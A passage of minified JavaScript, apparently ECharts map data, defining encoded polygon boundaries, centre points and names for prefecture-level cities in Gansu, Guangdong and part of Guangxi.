U@a™k™‚ƒakXkmVwmŹVƒU™b™WƒónmwnWW£„KÈnV¥ƒ¥„ƒÆ_k™lW„bU¯„V°aôbnaVwmaōInÇmwkK@kmLUw™@™`ƒkÅ@ƒwƒb@m݄ĀÇ`U„ƒKUbmUUkÅxmm@›„»nUVk_Ý@™Ç™¦™VÇè¯b™aƒn™@@„„JV„°Žn„U¦™°ÆbXxWl„êƒxš„ĊaœbW`™zV°œ„@lmbÅx@bmV™bƒI™`™¦@ÒUVUI@ƃL@bš¼@ššŽ@„šlmxnL„°ULƒŽƒÞğޛ°kLUŽƒL™°™xVŽ„n„KVƒl@šzX@"],encodeOffsets:[[106122,36794]]}},{type:"Feature",id:"6205",properties:{name:"天水市",cp:[105.6445,34.6289],childNum:6},geometry:{type:"Polygon",coordinates:["@@UyȍVƒVUnn@ƒVU„`UblzšJnk‚@Vb„KU„°l„wš„„W°„nkVŽ‚UÈlš£°V@n¥šV„kl™kU˜±U„ƒn™ƒlw¯UkwmKUlmkUmnkym@ō@U„mWÈU°l°anlJškUKlU„¯Èm@kmWV»kkÝLUWUx±b™@¯ma@ƒ¯™IƒJUxn„m¼™K™ýƒa™V™Uݤóa™wLmxU@¯ƒUšƒb݃ƒ¹lmwmnXŽmJ@ÞV@UbVbkblŽ—@±êƒlI™l¯@ƒlW¦knÇJkm¥k@¯™Jmbóa¯bƒUV°ƒakXlšÅ`ƒ„„¦U¦ÇmƒLX¤mXnxm‚„ôšXša„VźUnŽUxlnlW„bššl@bĢV„ƒ˜nX„WbX`lLXk@ްKVz„Kl¤„nÞ݂Èkb„‚܁"],encodeOffsets:[[108180,35984]]}},{type:"Feature",id:"6201",properties:{name:"兰州市",cp:[103.5901,36.3043],childNum:5},geometry:{type:"MultiPolygon",coordinates:[["@@lW²LššƒŽ°I„l„šmbVb„KnbĊVlkš@XbÜU@Žkn°‚XIƒÆ™V„LšÓÞxŎUlôƒ„b°KzU`lXVaĊ¥Xal@šk™™Uƒ°ÑÈwUтV£ÈéVšš„@Vb„Jš@nnÜJ@b„L°„XK@īšóƒwlš@kÓmUÅmK@mƒ_k¥l¯™mkçǯ@nUƒaV™ƒwólXbm„™k™`ÛÔťèkkmÆkbƒK@U`UI±xUƒbWlX„mbVbÅÒólkƒƒIWJkšƒ@ƒz—Kݼ™@™xUx󎃄¯LWb@ŽÅ҄„±¦U`nbťĀUšVb„LšŽ„U"],["@@ƒ¯lwna@mōȯK¯kW¤ƒ@@V@bĢñVLU‚°k"]],encodeOffsets:[[[105188,37649]],[[106077,37885]]]}},{type:"Feature",id:"6208",properties:{name:"平凉市",cp:[107.0728,35.321],childNum:7},geometry:{type:"Polygon",coordinates:["@@ÆLUxÈxV°šLÇÞ@xn`Ü@X@nĊŽÆwnJmwUx‚aUkšw@V@w„aVmlLXÝl@X‚VĢmV°@nl@UUUWK@w„ÿVI²Òlmš@nÝĊýVV@nšJ°„„šUłm@kV¼nK›ĢȤôK„blnKllVk²aĠ¥È¯ĸóVw@V‚_„xšmn¦VWôX„ƒÆ@Vbn@°m@kn@@lšb@k‚aœ@‚wšK@™šƒ@UlKVaƒWX™W²¹lӄw@_°›n@@_lKōķW™@ŽmLUWƒn™»Û@›l_Ç`ƒÛmm°ÅbWb@š—VWbƒUUKDŽÅaġlmkUġlƒ»—Lƒl™Um¦@ޝU™¤ÇkVUml¯ƒƒX™ƒƒx¯kVƒƒLUa@ml™IkyVaƒ_UV@„mmUVU„ÇŽVzUxUVU¦ƒa™¤l„nVxƒVk„@ƒmKUnUU@b™˜U„ƒ„","@@@Žż@™mlkƒġk"],encodeOffsets:[[107877,36338],[108439,36265]]}},{type:"Feature",id:"6229",properties:{name:"临夏回族自治州",cp:[103.2715,35.5737],childNum:8},geometry:{type:"Polygon",coordinates:["@@š@ż»˜L„y„@l™XI„Jl„ôkÆÑUanaWƒXkW@™yk@U„ƒLƒmUšwš¯„KVlKœ¯Ġ݄݄VKƒ¯mKnw™k@ƒ™@™™»@a„K@ÅVJVU@њ¥š_Uy¯š@£UKmn@‚ƒšó¼ğ¦WmĵXݎkŽVLmVĉU¯bm„ÝV—wWlXÞW¦™xkmmL™šÝŽœ„±U@Vގ™š@„ÅÈW°X„ܼƨyUĮnŽWŽnXÝxUx°lVXJlôV"],encodeOffsets:[[105548,37075]]}},{type:"Feature",id:"6203",properties:{name:"金昌市",cp:[102.074,38.5126],childNum:2},geometry:{type:"Polygon",coordinates:["@@šĢȼ™„Çł°bœU°šV‚ƒń‚ÆǖŰnšÆ„ōĬǔaʠůĭš_kķÆ¥VÑș„çÜKšÅ@DŽƒVaU™m@aōnġÇk@ƒxĉ_™Wk£™@݃±KÈ±aÅnƒ@ƒÝxƒ@kw›lkwōL¯wm`"],encodeOffsets:[[103849,38970]]}},{type:"Feature",id:"6202",properties:{name:"嘉峪关市",cp:[98.1738,39.8035],childNum:1},geometry:{type:"Polygon",coordinates:["@@llĊx„¦šl™¦š„kVVnšJVbǖV„kôV˜a„bnaWw„UXmmamUXkWKō¯Xm°™™»ĉÇ@UVƒK™ķkǼğb"],encodeOffsets:[[100182,40664]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/guang_dong_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"4418",properties:{name:"清远市",cp:[112.9175,24.3292],childNum:8},geometry:{type:"Polygon",coordinates:["@@lǯkÿƒaV¯™VaÈU„¥ÆÇ„Ilxšmnb‚Uœxl™„Uôl°kš„„Wl„š@ô™VwUanUl@„xVkšaX¥‚kU»„aš¯±@kka@ƒUwmUkwƒJk™˜„±k@ƒ™™L@ÝWUwV݃—xÇU¯ŽÇX@m™Åƒ@@yĉ£VmUwȗ»ÇšUn„lUnWU¯`Ukƒ@@„™x„Ž@bÇxX¼ƒVVš¯LšĀk‚ÝLƒ„¯@VŽƒĀ¯lnĊW¦kVÇôkUDŽUK@ţ™U@a™™ó܃UU»ƒ@™¦k@Vx„KVb„n‚š@„Æ™„l„@xšƒbWšnlU„lxÈlV„ȰƄ@¼™„@x„šWxœŎ‚V„šK°„š¥ššnƒÆkŎ@ÈÑm™„K@¥šk@™ô@„nôV"],encodeOffsets:[[115707,25527]]}},{type:"Feature",id:"4402",properties:{name:"韶关市",cp:[113.7964,24.7028],childNum:8},geometry:{type:"Polygon",coordinates:["@@W™Xk±Ñ@ƒUw™mUwĉwlmn@Æwn£mkIš¥ÇÅ@¥šaƒón£nWWwš£V`Þ@šnVml@xô¼„IV¥ƒkUmkamUkVWwÛ»móƒ£UVÅKmn@x™@kbmm¯a™Xka›VĉaUb݃ƒ²—‚lš„IlxnVVx@„lb@l²™°ƒbV¼lW¦™bUlƒwk@mVVbUxóš™@kƒƒX™ƒ¯lókƒVkš›wVma™nkwƒJÅȃ¦ÇVUbšŽU°„bl°ŽkÈ@x™¦ÆÜ™°@„°„¦óa™VUôlUlbXl@nÜV„„nKlŽnIVÞ°Wš„°U@bnm@¥šIVƒ²Ulƒ°VnalzXyl_Vyƒ¦lƒœLlxš„@ŽÞbšKm„knVWanwƒÑVwČº˜@n_ÞV„aVŽÜIœl@„˜KȚ„VJ@aš£È@˜™@km™„aV¯W@_ƒa¯KmbkÇkLmwƒ@Å¥"],encodeOffsets:[[117147,25549]]}},{type:"Feature",id:"4408",properties:{name:"湛江市",cp:[110.3577,20.9894],childNum:6},geometry:{type:"Polygon",coordinates:["@@@ƒkXƒ™@a„UUċlk„Jƒk„™@wVJXUWk°W@nKnwlUlš²ƒ„blU@‚lI„l@„XbW„šxnm@lW@w„wU‚JX¯VU°`ŎóˋkÝÝkÅ@ÇmğÈřmw™aĵV›xUہ»°™ĠǷnýmóX¥ɅĵҏÇ@°²ĊU˱ĮU¤Ç°™Ā¯ɐnżUĊĊĬV@脎@ԃÒU¼l¤nƒĠb„êVĠ°Èy„zVaV‚nUÆL„ašbVl„wÆ@"],encodeOffsets:[[113040,22416]]}},{type:"Feature",id:"4414",properties:{name:"梅州市",cp:[116.1255,24.1534],childNum:8},geometry:{type:"Polygon",coordinates:["@@„‚nԚlW¼x‚¦@lœVl™lLkè„a@zš¤ƒĖ„¼UxlnUKUbÝlU¼lb@„Vx„V„klJÈwV¯š@ĠlÛ˚nƒbkšÆźÞƒUÈôklmšL„¥‚LœW˜„„™nKUkVa°V„x@IVV@x°bUk„a™a@mV@„@y„w‚L„ÑUwVUšV„‚„U‚bÞVVann‚@XwÇÿš¯²aVamkXaÆ»@»nw@¥›UXaƒkbWa¯KUw@¥m@kwmLU»UU™J@kmU@UUWUƒ@ƒyƒanwmçÛl¯ƒŽ¯UƒmKUmƒwVkmÝXbW@XWÝbƒk¯@±‚w@»U@W¯Å@ƒÇ¥UƒU@ƒƒ™IU™ƒakJƒĀ„ꃰšþƒXkamŽ@Žƒ_J°m‚@X"],encodeOffsets:[[118125,24419]]}},{type:"Feature",id:"4416",properties:{name:"河源市",cp:[114.917,23.9722],childNum:6},geometry:{type:"Polygon",coordinates:["@@°VlmX¹laĢÒlm„@„„šV𣂂@¦Ģklynn¼lW°z„W„„°VbÈV@lÆbnn‚JškX„šVÆašÅ„W@™ƒUUw@ƒkaV»ÞkVaVLkmVwƒ»„ĕ™£@yƒblçkKkš›U@k¥‚wX»™kmӃ@Wn¯‚I„`@nlb„W™ý„¯ƒé„ÿlI@™XUmWUwƒ@@UJU„Ç„mKUV@x™„ţk¯¯LWƒƒnUxK@ű»Vwa¯š@¤WX@ŽÛ¦@¤ÇIȼWxXŽƒ@Wx—w›ŽUnVbÅèmVa±²UWl@Žk„lȄ¤nôܼXxlUnVlbVn„lU¦ƒJó»@wnkmU™‚Ý@U_™¤XxmXm¤„ô™b@¦Èƙ¦lJn"],encodeOffsets:[[117057,25167]]}},{type:"Feature",id:"4412",properties:{name:"肇庆市",cp:[112.1265,23.5822],childNum:7},geometry:{type:"Polygon",coordinates:["@@l@š¥„@V¼„Vôۚš@bšV@ŤVLȃlVÈólUX¥mĉ°k„ÿU°@„ƒÞKl™ÿ°KU™„UW»Èw@aƒšw@ƒ„@nm@w›£kÓVUVn„Kš™k¥™£Vamƒ@nkKkbÆǫma—kmLU¥™UmƒÛwmVU™mUƒJ—ÇaUxÇIn`mb@Þ¯b@„nJ@nl„U‚V„lVU„L›W¯—Û`Ç_¯`mš¯I™bĉWċzx±J™x𐝯Uƒƒ_k@™šƒJ@Umb„šXôlLš˜n¦@¼ĊxlUXŽ˜xUbL‚Ġ„UnVĊwlšUš„b@lW„X„‚m²˜@ÞWxXš‚Unb"],encodeOffsets:[[114627,24818]]}},{type:"Feature",id:"4413",properties:{name:"惠州市",cp:[114.6204,23.1647],childNum:4},geometry:{type:"Polygon",coordinates:["@@lbšW°bnnlaš@@wnmÆLVUkÇlƒ@Xk‚V²±‚bnUÆçUaVmœ˜xXw„@WXwÇ»ÈJ@£Ü¥@XW@£°™‚bUx²¼@ƂLVw„mX„°K°Ťlšƒ@wVUnLȃVƒVIky±wkƒKU¯ƒÅkƒ™XġÑۃlwUwlm@m„nKWašÅm›¯óÇmğb¯alĉUwķbmb@lÞÒVn—šmĀŹ@VŽƒbVŽUnmakLm`@xĉkklVÔVJVn—lV„UnmJmaLUbl‚™zmŽkL™a™‚ō@@zš‚V¦UŽV²kJ„nÜU@˜VXUށL@„lJƒL@bݤUnVŽ—b@xVnlK²„Vx°V„xlI„lkVl²k¤@n"],encodeOffsets:[[116776,24492]]}},{type:"Feature",id:"4409",properties:{name:"茂名市",cp:[111.0059,22.0221],childNum:5},geometry:{type:"Polygon",coordinates:["@@‚LnÇlk„KnkÆL„ƒUm™ÈxlUœJló°n@ššanŽš„„a@ƒ˜@X_@mÝóóU@a™aU¯mL¯ƒƒkV¯™ÇVwkw@V±Ŏ£@™™@šalw±Vk@m„Åm¯™ÿŃƧIÇ`ōô¯_UVW°IV‚ƒx@xkX@Žmn™wXƒWa@ƒƒkkJ@kVƒa±„k™kVmxmL@‚¯XXlWVUI@xƒš„lƒIklVȃV@b„šlW@„@nUxVblVxkôlx™n„‚y„šnIƻư„aXwlK„bVnƒŽXb‚L„¤„k‚L—èƒVV¼ƒŽ²IlĠVX„ynz°KVx°@VlœLlblKœš"],encodeOffsets:[[113761,23237]]}},{type:"Feature",id:"4407",properties:{name:"江门市",cp:[112.6318,22.1484],childNum:5},geometry:{type:"Polygon",coordinates:["@@lUXx°JWnnƚXVš„W„X@„šºVLV¯nU‚Vnb™ô„x‚aXmW™XIšŽUb°xlK„l¯œK˜xXÞ°ŽšXÈ¥Ü@„ĉޏU™‚çš»nóƒVma—x‚¯UÅU¥Ý¯@ƒƒç@ș@çĉÅUmU籃ĉKÝxÝ_ÅJƒk¯»ó¯nmèkǀšŽWxœ¼mnUÜġ°@¦@ƒxƒLkŽÇaVnUxV„™šVlnIlbnÆÆKX¦"],encodeOffsets:[[114852,22928]]}},{type:"Feature",id:"4417",properties:{name:"阳江市",cp:[111.8298,22.0715],childNum:4},geometry:{type:"Polygon",coordinates:["@@°„nKV°šb@bôVÞô@n„VlÒôÆUnlnn@lmkmVkƒaÈkÆÆ„™k¥‚ÅÞ»ÆKXkW¥ÅLmÅkamJUkš™UƒVwUmÈbl„K„w‚@@¥Ģ¯VÛnm›»Xw™lƿ™@kbW™—aʵ@óL›l¯ƽ@™ƒƒLn°ƒÆ@nUl‚²kx™b@‚š@šō¤U²@ŽlxUxšÈU°lŽ„"],encodeOffsets:[[114053,22782]]}},{type:"Feature",id:"4453",properties:{name:"云浮市",cp:[111.7859,22.8516],childNum:5},geometry:{type:"Polygon",coordinates:["@@@V„Iš™l@„`V„°Å™šw²I‚wČyĊXša°Jn™°_È`Ü_°˜œX‚KVƒkUUƒVkƒ@mmI@ƒ°a@Ýnam_ÈJVwlĉX@„šlUšómaUmVU°UK™¹@ƒƒWƒXU™™WmÅXm¯IWwkVWlÅLݼÆl¦ƒšÅÅÇl„bUllnknm@kmVmóÅkуUW`—@@„ƒb™ƒm™b@™¯mkô›IkVÇwnš„VƒÅKmlƒLklmȁKƒšVĊK°²„`n˜¤n„U„bWl„xVx™LUx@°nXm`VklVxmnnx"],encodeOffsets:[[114053,23873]]}},{type:"Feature",id:"4401",properties:{name:"广州市",cp:[113.5107,23.2196],childNum:13},geometry:{type:"Polygon",coordinates:["@@Ș¼VxUnĊ¤@z„@šÆ@nÈW°ÈV˜w„ŽUÞVxÞX@ŽšK„šl@ބVaĊbœU@ml£k±lUƒkkJƒw¯UUw±ƒkLUm@w˜aUVmÞ£@a„KkI@ƒ‚KVUW@—ÛVƒmlIU±VU¥™@yğzƧǃƒšƽĠřšÅnī±m@ƒ²¯lƒ°@nÝÆóUll@XnÝVU¦mVV°—„V¼™Jƒn„b@°mbn„ƒ‚@²¯‚¯wVwƒ@@nmxX¤¯L@ŽVLU„m@@l"],encodeOffsets:[[115673,24019]]}},{type:"Feature",id:"4415",properties:{name:"汕尾市",cp:[115.5762,23.0438],childNum:4},geometry:{type:"Polygon",coordinates:["@@@‚„@VxnXWV@š„bVššJ„„V@ÞÅU¥Ċxš£UWU‚wÅUU¥WVUkĊÇnkV`°LV™„wƒƒnU@™„ƒlbĊ¯„Vnalšš@@çkUÝ¥ġaó¯ÅaÅLŻÆUýmy¯ó@ĉÆó„ȯw™ÆXbmLƒ‚@nknVxkx܄ĢҚW„Æl„V°„Ll‚²xlz"],encodeOffsets:[[118193,23806]]}},{type:"Feature",id:"4452",properties:{name:"揭阳市",cp:[116.1255,23.313],childNum:5},geometry:{type:"Polygon",coordinates:["@@V„Ȧ„Æ@X°V@@¼‚x²°@„lÞaWXX@‚aÞWlnUŽ„xVnnL„‚°V„@k‚mĢl@„ak™@mlk°aXƒ±„nwm±™²¯JV²@ƒwW˜—_mƒa„V»ƒU@m¯ĉUф™šJl™„ašbVn„lĸLlƅÛDZwÝ@ĉxó@è™@k™mbƒUĉ°kaƒ„@šmV„„ƒxUš¯KU_mlĉÈVlXUV¦ÆVxVŽVX™¤ĉwV¦ÝÆ"],encodeOffsets:[[118384,24036]]}},{type:"Feature",id:"4404",properties:{name:"珠海市",cp:[113.7305,22.1155],childNum:1},geometry:{type:"Polygon",coordinates:["@@„è@„Þ°V¦VƁ°˜wnb„UÆ»nçÆ@nxܤ²llU°VnÈJސ°UôéšķUklƒô£VVˌKÞV°£n¥ƒ£ȗ™Ýy¯¯mÅkw¯bÇĔğ@Ýn¯ĊƒVğōŁŻƒķJ@Ț","@@X¯kmèVbnJ‚™"],encodeOffsets:[[115774,22602],[116325,22697]]}},{type:"Feature",id:"4406",properties:{name:"佛山市",cp:[112.8955,23.1097],childNum:1},geometry:{type:"Polygon",coordinates:["@@Èb˜Ž„InVVšnUÜxn„šVV¦nK˜lnbÅǬlalL@mn„Ubš¤l¦™šƒLUmUVlԜ¤@xmnVl°_XVVmƒkVmș@kn@VƒUK@°KW£nw@m„@Ux°x°@±„mƒna@¯ƒa„mšIU»˜ƒU¯nUV¥ÞUWmk@Vk¯™Ukn›ÑWݐƒĊÛ@Ǧ™W¯Wݗw›Lk°ƒkL¯wVa™WJXšWnbƒwkVƒ™W@kĊ"],encodeOffsets:[[115088,23316]]}},{type:"Feature",id:"4451",properties:{name:"潮州市",cp:[116.7847,23.8293],childNum:3},geometry:{type:"Polygon",coordinates:["@@°ŽÜknèmx„b„z„@V‚VX@VnV@lšIVVV¼nKlxn@@¦Vx°LXbla„ŽWbœV°£¯™W@nW@™‚aUñVœwWš»@¥ŤÅUÝǓÝóV@ńǎkUVmƒIUwÅVWÇX¹›—@W„¯bkl@nlšƒb@‚kġށn@l"],encodeOffsets:[[119161,24306]]}},{type:"Feature",id:"4405",properties:{name:"汕头市",cp:[117.1692,23.3405],childNum:2},geometry:{type:"Polygon",coordinates:["@@‚@U±°Iš±n²mx²ƒ˜@œWºXÈÆUVx„JUnlVȍ@ŃôUǔÞVçn»VyĢÛVm@»kaÝUǼóšÛÈķKċ¥X„¥Wwğk™ƒ¯@ƒwķKƒkUm™aƒbkš™IƒšVÒ°Ċ@n„VU¼ƒ‚„bn˜`X—„x"],encodeOffsets:[[119251,24059]]}},{type:"Feature",id:"4403",properties:{name:"深圳市",cp:[114.5435,22.5439],childNum:1},geometry:{type:"Polygon",coordinates:["@@ÞLš„@xšbV„šVšK°™X°Kô¥Vw@anU„胐š‚lkĊl@wn_lKnbVmU„aUź@nÿ˜™UmÝѯUƒbk„@ÆkxŻ@™aÇX—wƒJƒƒ¯LķÝUĕ™ó™ĸóêWº@b²nmĬ™Æ"],encodeOffsets:[[116404,23265]]}},{type:"Feature",id:"4419",properties:{name:"东莞市",cp:[113.8953,22.901],childNum:1},geometry:{type:"Polygon",coordinates:["@@Ŏ@ššblKnšykVa‚KnbnIVmUƒ˜kUmUIUә„ƒçmV@bUxó¦¯LW‚¯š™L™UUƒ™a@w™ƒÝKğŚ™ƾ„„ƨÈĠy"],encodeOffsets:[[116573,23670]]}},{type:"Feature",id:"4420",properties:{name:"中山市",cp:[113.4229,22.478],childNum:1},geometry:{type:"Polygon",coordinates:["@@‚XœÒlmšV°ôÞÅ@m„¯°k„±‚@@aX¹¯VݏÇIUmV¯kk‚±Û£mw@‚Őmèżmô™¼èVš"],encodeOffsets:[[115887,23209]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/guang_xi_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"4510",properties:{name:"百色市",cp:[106.6003,23.9227],childNum:12},geometry:{type:"Polygon",coordinates:["@@lklWXL@VšI‚l@XnJn@VUUalk@mK@kny@UlU@a°™„ƒUU@VmaU@Ua@UWw@ƒn@KmLm@alkšmnI‚m@an@VIUamWÅImwU@@a@K„X@JVL„UVmUaVkUa@m„@@Ulmkk°ƒUaVUlKXbVwVIkaVmUk@KVk@a„aW¯m@w„¥laœX@KmaškVmnUl@nxVKšInU@yVaVIV@na°KlxX@@_lmXšUV`VIV™V@„n@lšbn@@WUkValK@²yl@„„VUV@@K°L@KU@@UVaXIVVV@naVkVa@K@UUK@UUa™LWa—w@m@K@UVVƒ@mVUUVKnL„mVL„K‚bVK@UUIk›mI@mUIVK@IUK@VkLƒ@WU@mU@WmUk@ƒI@VƒJk@WwX_@amK@UUWkIƒ„ƒK@LVb@mVmakL@J@bU@Ux@xƒbmI@`ƒIwm@UbmKUaUWa¯UkJWV@XƒJUU¯LUmV@ma@kkamKwƒLUUmWVkkm@aVUUkVKnVVUmXK@UW@km@Ukkm@@W@U™kUy@I@aUUmbƒ¤U@kUmL@bmJU@Ua@wkLWWkL@Uƒ@VaU@ƒLUakKWbkUWVkKkLVLUV@JVbƒz@Vƒ„@ƒVmUU@kVmK¯@VƒU_™VWakVmIUKUaU@@bml@XU@@V@LmKUV„mVUKƒƒKƒbkaUXƒKUL@x@V@l@„mxU¦„V@ŽlL@V@Ln@@VV@„nlKUaV@nLUbmJnL@VWLkbmV„@@L„W‚„XLlx„VVIVV@x@V²blUVm„LVUœK@kWWXUlV@Xl`„LX„l@@VšŽƒn@VnbVš@lVUVUÈVbš@@`UXU`l@@XUVm@kš@xmVknUJVXUbmKULmbx@VlJ@LVbkKUbVLÇUUVƒUVmU@VaUkUKƒVUwmLkUUVVlƒbka™XmwƒKUšVVU@@V±Uk@VWUUm»XamU™bƒKk™`ƒ„™U@UnWW_kKmbUVUVmnUV@„nJVUlšUbU@UV@n@JmI@VmbnVUXlx¯ŽkKmnVV@L@V™bkV™Umm™@Ub¯LmlUƒL@VWLkmkLmmn£WmnKU_mW™š™bnbmxƒ@U¦UJU„@Xmlk¦@‚mnUUm@@Jn@lV„ÔVJnIVW„I@a„ƒÆK@I@aVK„IlŽÞnnl@nl`nbÆX²l@xV„@llbVn²ŽVVl@nn„V@IlW@Un@@kVa°KšnÈmVaVXUlaVƒÈU„VlwôUlynIVašan@lVXb‚Iš@n¥la@Kš_n‚@bÆx@XnJV„nKVz@`VXVšU`@bƒ¦UV@VšIlx„UnV‚K„XÈbšVllšbVbnVn@"],encodeOffsets:[[109126,25684]]}},{type:"Feature",id:"4512",properties:{name:"河池市",cp:[107.8638,24.5819],childNum:11},geometry:{type:"Polygon",coordinates:["@@lLVl„bVV@nXVlI@JVX„mšn„W°b„IVV@‚ln„@nalVUb„nW‚@kVkÒlbVKn²°bUŽlV²@˜X@`nb„aUI@ƒ°wlU@aXJVI@aVK@wUamIXm‚@XUV@@bV@Vm„ImnUUwVaVKXU‚nVK@akƒVwV@nL@UV`n@@X‚lnIUJl@X¦˜V@aUIVm@anƒV@UwnL@VlbVL@KVVXUWƒ„wUUVUka@UVJnUlbnalbVVn@°„„LV`Þ@šXVxV@@bVlUVVbXnWlXnmlš@XXWVXJmbUI@V„llUVkn@@VWV@Vnb„@VXUJVnn`lLVk„a„»lVšLnw@WV@lInw@WnU@U@m‚knUVó„K‚wUmUXUƒU@@wVJVIl@XKVVVbVI„J@Un@lŽVLnm„b@U@Ul@nUš°VUVJnnVJV@„@mVU@ƒ@wkUVwkKWk™yUUkU@alkÈ@lJ@x„Ilƒ@UUWVkUw@Kn@@kmaƒVUl™UUL™ÇƒUUKl@UUmL@aXU@mlUUwmKkUUVKVUƒaƒKUnK@U@Vl@XUWU„KlwX@šb@K‚@XkV@UwWJka@aUwmV@U™@@U@wUm@»kLWVkIWŽXnmV@VkbmKƒLUbk™Va@aƒa@@aVU@aVak£@ƒ±UkVU¯V™UUƒJVƒUIƒ@kxmUmWUbL›w@K@aU@@aVU@Kma@aka@_VWkk@UWVUKULWKULUš@KUnƒwVaUKƒxU@UmaƒL—m@kVmVa@UkƒmI@ƒ@KmIkxU@@K™U@mmakI@VƒLkmWkkJ™_U‚@V@L@n˜xXbšKVb@VVL@V@LUbUlmbU@UUWJUb@VV@@L¯K@LU@UVƒƒk@±z@‚kLUbVl@Xm@™akm@ƒU@UšUJU_™VWŽkn@`W@kw¯LmbU@UJUb@zmV™JULmwk@mVUn™lnb@L›Wkbƒ¦@x°nXŽƒb@bUl@LVlUnlbUJUxWakLUVVb¯„llkn@Vƒ@@nVbUlVbUnƒVUK@IƒW@L@bV@nxÆJnXVbUJm@@bnmJ™nkl@b‚nnK@L„m‚@Xx@VVbV@nb@UVVƒ„¯š@bkV@Vmz@lnLl@kŽVbUVm@mI@Wk™J@UWKkXkl"],encodeOffsets:[[109126,25684]]}},{type:"Feature",id:"4503",properties:{name:"桂林市",cp:[110.5554,25.318],childNum:13},geometry:{type:"Polygon",coordinates:["@@nU@J‚X@`XLm¦Vb`lšVXXWš@VblČnVšŽlanLnmVLšK@_Vaƒ¥@kUa„@VmVb„aV@XVVzlVVK@knKVmX£VKšLlbnš@b@llL@xĊôXaV@°È@¤„bn„V@@Wl_„V„U@W„nVamw„wVbn@„K‚VšLX@VmVUxlV@šnVV_nK@m‚I@Wn@@IšUĊ@@wVWX@@I°VVm@wmU@m@IUƒV™kƒlkUmmkÅV@@aV@@Wn_UKla@kšaV„šlVanb@k„@@KlVn@@aV@nIWW™UUaVU@™kKmwU@UImKk@UU@w@W@‚™k@™UkWƒ@mk_W@Ua@a™ƒƒ@—¯ƒmV£@mƒUUam@—kWakƒVama@UUm@nw@alaUmnUlVlIœV‚™šLVyk£Vm@k@UUJkƒK@kmKUw™KkWK@UXImyVwnI@m‚ƒkUlkUKkUVmƒw@kkJWUÈm@_k@@aƒaW@U„UJUwU@@IWKkƒmUUV@nVl@bVb@bU‚UXƒakw@ƒWUkbkKƒbm@™xUlkLm@@wmKUX@‚™UaVW™XVmU@@UUUƒxkmWXkKkUWaUaUb™L@`UL@LV`UXmK@VmakLVbkL‚xUJUIVbUVVb¯KƒV@Xnl@lVXbmÒnV@L@VWKkVUIWJkIƒŽUamUUbm@U„kU@JUbW@X„WxUam@kbVVUnUJmUUV@bƒU@UUV™@ƒVk@ƒbƒmULV¦U@V„U`VLUL@xVbn@UJ@nWJXXVŽVV@bkxVbUx‚Lšš@x„¦@šU‚lXUVVlULV@@šnŽU„ƒb@xl„nJVnlVknUlVUbmŽU@ƒbVš„x"],encodeOffsets:[[112399,26500]]}},{type:"Feature",id:"4501",properties:{name:"南宁市",cp:[108.479,23.1152],childNum:7},geometry:{type:"Polygon",coordinates:["@@lKnbnU‚@Ua@K„L„ƒlJVX@VnL@bW`Xxl@„I@U„Jl@nV@X‚V@nXV„@lK@UVL@JULVJ@nnJlœVJ@VULaƒLUKƒnmKULVVUŽ@nU„š`lIXlln„K@UlJnb@nšV@LV@lwnJ@L@„nJl„@VUbUn@l˜n„KnbVŽV@„wVLUb„xVm@LV™VKXLVKVLXU@VllUX@`lb@bnb‚L@ŽUV@bV@@b@Lœx‚KVanXVƒUUmVUUUaVUky‚UUa„ImK@mUUVUkKU_@W@UVVVIUW„UVaVU@UUKnƒ@k@al@ll@bnL@b„VUV˜X@Vœ@@b‚Knblmn@V_@aUalL@a@akK@kVKUKlwUUnV¥VmU_VWVIVaX@Va„alńK@LVJnalL@LnK„wlVUw‚mX@VXšƒlLUVnblaUmVUVwXU@Wm¯Va@ÞKnw@w™mšk„»‚UVW²a@_mW@U@I„y„LVUUKW@@™„LX@VUV@@yVU@UV@nwUUmJka@IU@ƒmƒVkaW@UwUX@`ƒ@kLWUk@mƒkUUm@k‚UUWkUƒkWxk@@VƒK@nV@UVaƒUUJmIkVƒ@UamLUbkVmamLka™@ƒ‚kmL¯WI@wJmwƒx@akU@aUKmbkaW_nW@_U@Wm@a@wkwUKmƒk@ƒbkb›w@mKUkkU@J@bW@kVWz@bVUa›VUx@„ULkJWbXVVXƒ`@œmJUVU@@Lk@WbU@UJlnXlm„Vx@Ln@‚b@K„LX„WJUUW@kƒaUVUbmV@nnV@n@lVLƒVmLX‚mXkV±@kxÅL›šUbJWIÅJ@I‚mXalkUamKkškL±aVwKƒUU@mÞnbWJX„m„@lbmKULWUUVkaƒbnn@Vl@VVV@VƒbVbnLWLXJWxXLV@@VV"],encodeOffsets:[[109958,23806]]}},{type:"Feature",id:"4502",properties:{name:"柳州市",cp:[109.3799,24.9774],childNum:7},geometry:{type:"Polygon",coordinates:["@@ƒwU™„aV@nVaUVklmkUUmmIkƒ@w„aVƒm@™U@VKUkVUkWV@™ƒ¥@w™™KVwUalw@aUUUWWXI@mVIm@Ua@wVKUKV_UƒV@U¥VK„n„al@„Uš@VU@V„V@aVUnVVIVmUUlan@VbXwWƒX@Va@IlVVƒn@VanVVb„lJXIVJlUXL@U@KmUnÑWakU@mkƒJUI@mk™@wUmmUV@JXaWIXWmaUIƒJƒkk@W„nJ@„ƒaUak@›kkJ@kUKU_ƒ@myUóWUkm¥kUmL@KUKm@k_UmVa@ƒk@@UmU@mm_—JWIUVUŽWLUlbVUJÇVUIVwƒKUVk@mU@n@lUL@Km@@l@L™VƒzJmUU¤m@UbV²U`U@@¼Vn@x@Vš@@VnUVx@blbXIVxU@Wl@@L™aW@kxƒLXVWVk@@U@VmLVŽ„L„bUVULVV‚lnLVxkV@nWV@bnKVVk@VL„VšÈVKšVVk„Unb@lm@@LVxUlVX@Vk„ƒJ@wkIÇ@kl@blVVVšzXllLUxlV@x@„UV@nƒ‚U@UImmUIUV™¯mVk@@V@VƒamnUKkm@@VƒIUJUaUUWLk@UJUI@xV@V„VWVnxƒLUômVV„@VkVVVUnV@UVkL@VVV@bVxla@bkXVJVn„`nU@bƒb@bVL@VnJ@„l@šV„aU@@_lW@UUU@Unƒlll@XLl@@UX@°bVWVanLlknVV@VVX@VVƒnUŽVLmbXJ@nllXX@`VXƒlmaXVWk@Wkƒw—J@„VL@J‚bnU@bn@@bVKUnVJVIVVVL²a@bV@@Vl@nUVakalmš„UL@VUL@V‚a@mXl@nK@UlK„L@Vl@@nkllb@š„Vnn@‚šnV„™V°l„šVInwlKXxlU°Žn@@ƒ‚I@UnVlakUJWkUK@anUWK@_Þ